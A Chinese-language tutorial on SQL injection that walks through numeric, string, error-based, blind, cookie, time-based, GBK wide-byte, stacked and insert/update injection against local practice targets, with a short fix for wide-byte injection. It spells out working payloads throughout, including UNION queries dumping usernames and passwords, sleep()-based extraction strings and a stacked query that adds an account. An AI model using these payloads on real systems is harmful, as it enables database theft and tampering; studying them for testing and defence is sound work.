1. 概述
SQL注入(SQL Injectioin)漏洞是注入漏洞中危害性最高的漏洞之一。形成的原因主要是在数据交互过程中,前端的数据传入后端时,没有作严格的验证过滤导致传入的“数据”拼接到了SQL语句中。被数据库当作SQL语句的一部分执行,从而使得数据面临被脱库、恶意破坏篡改甚至造成整个系统权限沦陷等一系列危害。
注入攻击的本质是把用户输入的数据当作代码执行。造成注入攻击有两个关键条件:
①用户能够控制数据输入
②原本程序要执行的代码,拼接了用户输入的数据。
对SQL注入漏洞的挖掘虽然多数时候以工具为主,手工为辅助,但切忌上来就一把梭。
2. SQL注入分类
2.1 按参数类型分类
2.1.1 数字型注入
选择userid查询个人信息,通过下拉选择ID,无法直接输入数据,但可通过抓包修改。
选择一个userid,抓取查询的数据包。
通过id值构造 2 and 1=1,即相当于数据库执行SELECT* FROM users WHERE id=2 and 1=1,其中1=1为永真,返回查询到id=2的结果。
放包成功查询到ID为2的信息
重新抓包构造id =2 and 1=2时,查询失败。但是由于and 1=2为假,所以where条件后都为假导致返回错误,由此可判断为整数型注入。
重新构造pyload id=2 union select user(),database()
成功爆出当前用户和数据库名
更多的pyload如下:
union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
union select database(),group_concat('~',username,'~',password) from pikachu.users
2.1.2 字符型注入
字符型注入相对于整数型输入在查询语句上多了单引号闭合,如查询laowang,数据库查询语句相当于:
SELECT * FROM users WHERE username='laowang';
如果没有对单引号进行过滤转义等处理的话,便很容易造成恶意注入。
如构造pyload,输入查询laowang' unionselectdatabase(),user()#,即相当于执行:
SELECT * FROM users WHERE username='laowang' union select database(),user() #'; //#号后面的'被注释掉
查询爆出数据库名和当前用户名。
2.2 按反馈结果分类
2.2.1 报错注入
报错注入,顾名思义就是通过数据反馈出的错误信息提示进行注入攻击。通常情况下我们首先需要输入单引号判断是否存在报错,然后进一步找出注入点。
打开一个页面,通过URL看出疑似存在注入。
输入 id=1 and 1=1,id=1 and 1=2均能正常弹出页面,此时输入id=1' 时,直接报错,由此判断可能存在报错注入。
构造URL,查找注入点。
http://192.168.43.116/control/sqlinject/manifest_error.php?id=1' and 1=2--+
这里讲一下构造“--+”的原因,上面构造的pyload如果不加上+,在SQL语句中相当于 SELECT * FROM sqlinjection WHERE id = '1' and 1=2--'。此时语法会报错,提示后面的单引号没有闭合。而在URL中+号表示的是空格,在“--”与“ ' ”中间加上了一个空格之后后面的“ ' ”被成功注释掉,SQL语句即可正常执行。
除此之外也可以构造:
/control/sqlinject/manifest_error.php?id=1' and 1=2--' //用来闭合后面的'/control/sqlinject/manifest_error.php?id=1' and 1=2%23 //URL中#号是用来指导浏览器动作,对服务端无用,需转换成url编码。
通过构造的pyload发现系统存在注入点。
重新构造 /control/sqlinject/manifest_error.php?id=1%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆出数据库中所有表项名称
2.2.2 盲注
通常情况下服务器都会关闭错误回显,此时无法通过返回的错误信息进行注入的判断,而这类情况下的注入攻击则称为盲注。即只能通过网站页面的变化来判断注入的pyload是否被成功执行,且目前大多数网站都是盲注类型的。
以布尔盲注为例:
提示输入名字,故可判断输入的值为字符型。所以输入pyload:laowang' and 1=1#,查询正确返回结果。
继续输入laowang' and 1=2# 返回查询用户名不存在,由此判断存在注入点。
在布尔盲注攻击过程中,需要使用到二分法以及mysql函数如mid()、ascii()、length()等去循环试错爆出数据库中的数据。因为页面不存在报错, 无法直接通过报错+联合查询注入得知数据库信息, 所以只能一点点通过页面是否正确来判断。
如爆出数据库名,先要爆出数据库长度,然后一个一个的去爆数据库名的每一个字符。
采用二分法爆数据库长度:
laowang'and length(database())>10 # ==> 页面错误laowang' and length(database())>5 # ==>页面正确laowang'and length(database())>8 # ==> 页面错误laowang' and length(database())>6 # ==>页面正确laowang'and length(database())=7 # ==> 页面正确
由此可判断数据库的长度为7,然后再循环进一步的爆出每个字符得到数据库名
laowang'and ascii(mid(database(),1,1))>115 #
......
爆数据库表的个数
laowang' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
......
爆第一个表里的每个字符
laowang' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 #
由此往下一层一层的爆出数据库中的内容。而盲注通常会利用工具来进行辅助,纯手工盲注很难。
2.3 按注入位置分类
按注入位置分类的话可大致分为。
GET注入:注入字符在URL参数中;(如上面的2.1.1)
POST注入:注入字段在POST提交的数据中;(如上面的2.1.2)
Cookie注入:注入字段在Cookie数据中,网站使用通用的防注入程序,会对GET、POST提交的数据进行过滤,却往往遗漏Cookie中的数据进行过滤。
2.3.1 Cookie注入
Cookie注入的原理在于更改本地的Cookie,从而利用Cookie来提交非法语句,Cookie注入和其他注入类似,只是传参方式有所不同。
输入admin/admin登陆
抓取登陆包,并未发现cookie注入的位置。
放包之后进入登陆后的页面,
抓取当前页面刷新请求的包,发现疑似cookie注入位置。
在cookie处构造 uname=admin'放包发现报错,基本确认了注入点。
继续通过构造 uname=admin' order by 2--+ ......4--+,当为4的时候报错,判断字段数为3。紧接着直接如下构造pyload爆出数据表:
uname=xu'' union select user(),database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
2.4 其他分类
2.4.1 延时注入
延时注入语句和布尔盲注的语句类似,延时注入按原理来分也可以当做基于时间的盲注。布尔盲注可以通过返回的页面来判断SQL语句是否执行,而延时注入只能通过布尔的条件返回值来执行sleep()函数使网页延迟加载从而判定布尔条件是否成立。
目标网址为http://192.168.43.116/control/sqlinject/bool_injection.php?id=1,构造pyload:1' and sleep(5)--+ 。
发现页面延迟加载5秒后才显示出页面,可判断此处存在延时注入。
随后构造pyload作进一步的爆库,语句和盲注类似,只是加了一个if的判断语句。
#判断数据库字符长度1'and if(length(database())=5,sleep(3),1)--+
#爆破数据库名
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1)--+
1'and if(ascii(substr(database(),2,1))=101,sleep(3),1)--+
...
#判断当前数据库表数量
1' and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1)--+
#判断第一张表,表名的长度1'and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)--+
#第一张表第一个一个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),1)--+
手工是不可能手工测的,只能通过SQLmap跑跑什么的才爆的出来:
接着爆出数据库中的表以及表中的项。
2.4.2 宽字节注入
宽字节注入(又称为GBK双字节绕过)即利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。首先了解一下简单的概念:
字符、字符集
字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。
UTF8
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
宽字节注入原理
假设一个URL存在注入但是有addslashes,mysql_real_escape_string,mysql_escape_string等等函数实现转义,即在传入的参数前面添加\,导致注入的单引号被转义。而我们的目的是吃掉\,使得单引号“逃逸”。
于是在单引号前加上%df,重新构造URL:
http://192.168.43.116/control/sqlinject/width_byte_injection.php?id=1%df'and 1=2 union select 1,2--+
当id的参数传入代码层,就会在’前加一个\,由于采用的URL编码,所以产生的效果是 %df%5c%27。而此时%df与%5c会组成一个新的字节%df%5c,解码会得到一个汉字 “運”。即相当于li'ang(李昂)=>>liang(梁)。这时\被“吃掉”,也就失去了转义的效果。在数据库中就相当于执行了:
SELECT * FROM users WHERE id='1運' and 1=2 union select 1,2 #' LIMIT 0,1 //mysql在解读该语句时会忽略新形成的字符 “運”
宽字节注入的发生位置在PHP发送请求到MySQL时字符集使用character_set_client设置值进行了一次编码,大致的数据变化过程如下:
由此我们可以得出造成宽字节注入的两个前提条件:① 使用转义函数进行过滤; ② 数据库为GB系列编码。
例举:
打开构造的URL,爆出显示位。
构造pyload:id=1%df' and 1=2 union select 1,concat(schema_name,0x7e) from information_schema.schemata--+ 。爆出所有数据库名称。
更多pyload:
id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+ #查看数据库下的所有表
id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656E765F6C697374--+ #查看env_list表下所有字段
宽字节注入的修复:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
利用mysql_set_charset(GBK)指定字符集mysql_real_escape_string进行转义。mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面%df和%5c拼接为一个宽字节的情况。
2.4.3 堆叠注入
堆叠注入顾名思义就是指同时执行多条SQL语句进行注入攻击,即一条SQL语句以“;”结束后,可以在后面继续构造下一条SQL语句达到多条语句一起执行。形成的原因主要是mysqli_mylti_query()函数可以通过执行“;”来分隔执行多条语句。
例如构造pyload:
?id=1'union select 1,user(),database(); insert into users(username,password) values('test','test')%23 //用;分隔执行两条语句
页面返回第一条SQL语句的查询结果,在数据库中可看到第二条SQL语句的执行结果,添加了test/test账号密码。
堆叠注入和 union联合注入都是将两条语句合并在一起执行,主要区别就在于union 或者 unionall只能用来执行查询语句,而堆叠注入可以执行任意类型的语句。 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API或者数据库引擎不支持的限制。此外,权限不足以及phpstudy,MySQL版本不同也会影响注入是否成功,比如在Oracle数据库中是不支持堆叠注入的。
2.4.4 insert、delect、update 注入
增、删、改同样是前端与数据库交互的几类方式,比如当用户在注册、删除、修改个人资料的时候该功能模块存在注入点,便极易造成注入攻击。
比如当用户注册时,填交数据至服务器时,数据库服务器端采用insert语句将信息插入数据库中:
insert into users(username,password) values($username,$password);
更新信息时采用update语句插入数据库:
update users set username=$username,password=$password where username=$username;
此时若存在注入点可利用函数extractvalue(),构造pyload来进行报错注入。
name'or extractvalue(1, concat(0x7e,(select database()),0x7e)) or'
3.总结
SQL注入不论何种分类,本质都是相同的:拼接输入的数据当作代码执行。本文仅对常见的SQL注入类型进行陈述,除此之外还有其他如:二次注入、base64编码注入、搜索注入等等。由于篇幅有限不再赘述,可以通过各类靶场尤其是阿三的sqli-labs(https://github.com/Audi-1/sqli-labs)练习。当掌握注入原理和pyload的构造之后剩下的就是通过不断的实战加深理解,虽然很多时候再对SQL注入的检测都是通过salmap等工具一把梭,但是弄清楚漏洞形成原因以及注入原理后可帮助我们快速的定位到注入点提高测试效率。